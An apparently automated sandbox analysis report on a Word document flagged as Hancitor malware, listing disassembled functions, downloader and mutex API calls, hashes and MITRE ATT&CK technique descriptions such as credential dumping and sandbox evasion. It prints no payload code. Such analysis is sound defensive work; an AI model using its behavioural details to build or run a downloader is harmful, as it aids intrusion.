Instruction ID: 1a2aae7cfbb90be4dc0c633e0c03e5b5c1932655a8dcbbfb43051d9ee21cb20b
Opcode Fuzzy Hash: 7ea3a893bf3bd11cad7cd0372379ff1f7e327c259811a7a92178e9d3a0fb71f7
Instruction Fuzzy Hash: 4C01443248014ABBCF575E84DC05CEE3F67BB08364B998465FE6898430D336C9B2AB81

Uniqueness

Uniqueness Score: -1.00%

Function 0212E5AC, Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 0212ECA3: __getptd_noexit.LIBCMT ref: 0212ECA4
Part of subcall function 0212ECA3: __amsg_exit.LIBCMT ref: 0212ECB1

__amsg_exit.LIBCMT ref: 0212E5D8
__lock.LIBCMT ref: 0212E5E8
InterlockedDecrement.KERNEL32(?), ref: 0212E605
InterlockedIncrement.KERNEL32(0214CD40), ref: 0212E630

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd_noexit__lock
String ID:
API String ID: 2880340415-0
Opcode ID: de9852b821b3544015c340437bb0fe218a62d2237edb044195a5333139119f84
Instruction ID: 2b5c7285303c5ebd710e3e778d5baa7f20cbf1efe5bd24b93bd3e3f8f21a9f23
Opcode Fuzzy Hash: de9852b821b3544015c340437bb0fe218a62d2237edb044195a5333139119f84
Instruction Fuzzy Hash: 6E01A135DC16319BD721AF68940475EB7E2AB00B50F154016F804AB681DB70B9BACFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0212EB6C, Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(02147440,0214A308,0000000C,0212EC7E,00000000,00000000,?,?,0212ECA9,?,0212A97C,02149FE8,00000014,02121E83,00000000,0213D26F), ref: 0212EB7D
InterlockedIncrement.KERNEL32(0214C918), ref: 0212EBD8
__lock.LIBCMT ref: 0212EBE0
___addlocaleref.LIBCMT ref: 0212EBFF

Memory Dump Source

Source File: 00000003.00000002.2346367509.000000000211A000.00000020.00020000.sdmp, Offset: 0211A000, based on PE: false

Similarity

API ID: HandleIncrementInterlockedModule___addlocaleref__lock
String ID:
API String ID: 2801583907-0
Opcode ID: b0f879dc87f09175fb2274644c46d9415183473d8436c7a43a2e4cdad69c271f
Instruction ID: f70de7a8a5b648d2f82701bdf82e822a4190090030a843f7438db357a19817bc
Opcode Fuzzy Hash: b0f879dc87f09175fb2274644c46d9415183473d8436c7a43a2e4cdad69c271f
Instruction Fuzzy Hash: 9111AC719C0705DFE7209F79D800B6BBBE1AF04704F104919E89E97690CB74E9658F54

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exe PID: 2716 Parent PID: 2668 svchost.exeCOMMON

Executed Functions

Function 00415800, Relevance: 71.5, APIs: 3, Strings: 32, Instructions: 10256filesynchronizationnetworkCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNELBASE(00000000,00000001,?), ref: 004158C6
URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 00415C3C
inet_ntoa.WS2_32 ref: 0041FDDB

Strings

XvC, xrefs: 0041C8D3
p@D, xrefs: 0041F7DD
xqC, xrefs: 00418607
@pC, xrefs: 0041AE93, 0041AE9A
@pC, xrefs: 004181BE
$~C, xrefs: 00419AC3
dvC, xrefs: 0041C8E1
@pC, xrefs: 0041F4A8
@pC, xrefs: 0041EC34
\xC, xrefs: 0041B577
,wC, xrefs: 00416031
\xC, xrefs: 0041FAA9
@pC, xrefs: 00415E75
8wC, xrefs: 00416038
@, xrefs: 0041B78C
<vC, xrefs: 0041CAB4
@pC, xrefs: 0041F45C
\}C, xrefs: 00419574
$zC, xrefs: 0041BDE6
@pC, xrefs: 0041F4ED
d}C, xrefs: 00419637
0~C, xrefs: 00419B88
TyC, xrefs: 0041B5EE
LvC, xrefs: 0041C8C5
DyC, xrefs: 0041B4F5
,}C, xrefs: 004194FB
$}C, xrefs: 00419443
\xC, xrefs: 0041B738
<vC, xrefs: 0041C3C2
TqC, xrefs: 00418574
wC, xrefs: 00416017
@pC, xrefs: 0041EF89

Memory Dump Source

Source File: 00000005.00000002.2168495549.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CreateDownloadFileMutexinet_ntoa
String ID: wC$$zC$$}C$$~C$,wC$,}C$0~C$8wC$<vC$<vC$@$@pC$@pC$@pC$@pC$@pC$@pC$@pC$@pC$DyC$LvC$TqC$TyC$XvC$\xC$\xC$\xC$\}C$dvC$d}C$p@D$xqC
API String ID: 2821879015-1495465107
Opcode ID: 1acf1b5449564b966d7470623282f9f85081c800fd32a0b584a5fedc0fff2110
Instruction ID: 3eab1be84b858212c2b712eb9ecab3bf2646d5897512f5f08c00c1dba6ecace8
Opcode Fuzzy Hash: 1acf1b5449564b966d7470623282f9f85081c800fd32a0b584a5fedc0fff2110
Instruction Fuzzy Hash: 6E244C716087818BD335DF24C891BDBB7E5FFC9304F10492EE48A9B291DB78A945CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0040115C, Relevance: 1.7, APIs: 1, Instructions: 194COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00401223

Memory Dump Source

Source File: 00000005.00000002.2168495549.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 854dcdc4280b8f2bbf386967df07d2ab6d598209781f5a3c52be75b235f8de86
Instruction ID: 6637b0886fb05ed50bbf3230547d5b9ae6dc46fa2eb97121aa624c758af38a7b
Opcode Fuzzy Hash: 854dcdc4280b8f2bbf386967df07d2ab6d598209781f5a3c52be75b235f8de86
Instruction Fuzzy Hash: 2671B075A043008FDB14DFA5E88179A77F0FB89704F51843EE944AB3A1D77DA844CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00401150, Relevance: 1.6, APIs: 1, Instructions: 135COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00401223

Memory Dump Source

Source File: 00000005.00000002.2168495549.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: dcd53c9b16003cf5b3d6ef81286d83416c97c5c6dd39a0a7c2031c902ce980c7
Instruction ID: 5797e43cdd90b994771c2fa4facc44f94b85f60fc6e77d04d8847e05aa05cae2
Opcode Fuzzy Hash: dcd53c9b16003cf5b3d6ef81286d83416c97c5c6dd39a0a7c2031c902ce980c7
Instruction Fuzzy Hash: A851AE79A007008FDB14DFA9E88175AB7F0FB89708F11853EE944AB361D738A854CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004013C9, Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00401223

Memory Dump Source

Source File: 00000005.00000002.2168495549.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 876e0ef929dbb53e3562dd275479b8dbad9e4b4d1d75118838730e5b23ac798c
Instruction ID: 987660f846687a77f09716a2d97ca067eee8a792d56564ae2e65df0ec55cb76e
Opcode Fuzzy Hash: 876e0ef929dbb53e3562dd275479b8dbad9e4b4d1d75118838730e5b23ac798c
Instruction Fuzzy Hash: EE413AB9A047008FDB14EFA5E88179AB7F0FB89308F11843ED98497361D778A854CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004293B0, Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2168495549.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5d87a72ccccfd3a772a0014e3e51dacc10e76357f72305bb139c42e3191fa53
Instruction ID: f32114367b7a43fce08da7f4bf6eed9adcee18824e378ae50fddce3faf8ac97f
Opcode Fuzzy Hash: c5d87a72ccccfd3a772a0014e3e51dacc10e76357f72305bb139c42e3191fa53
Instruction Fuzzy Hash: 7C4124B06087009FD324DF1AD881B5AFBF5FFC8314F10892EE98A83750D779A8458B5A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	File monitoring, Process command-line parameters
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report 0708_3355614568218.doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Hancitor

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Location Tracking:

Cryptography:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "0708_3355614568218.doc"

Indicators

Summary

Document Summary

Streams with VBA

VBA File Name: Module1.bas, Stream Size: 2819

General

VBA Code Keywords

VBA Code

VBA File Name: Module2.bas, Stream Size: 689

General

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre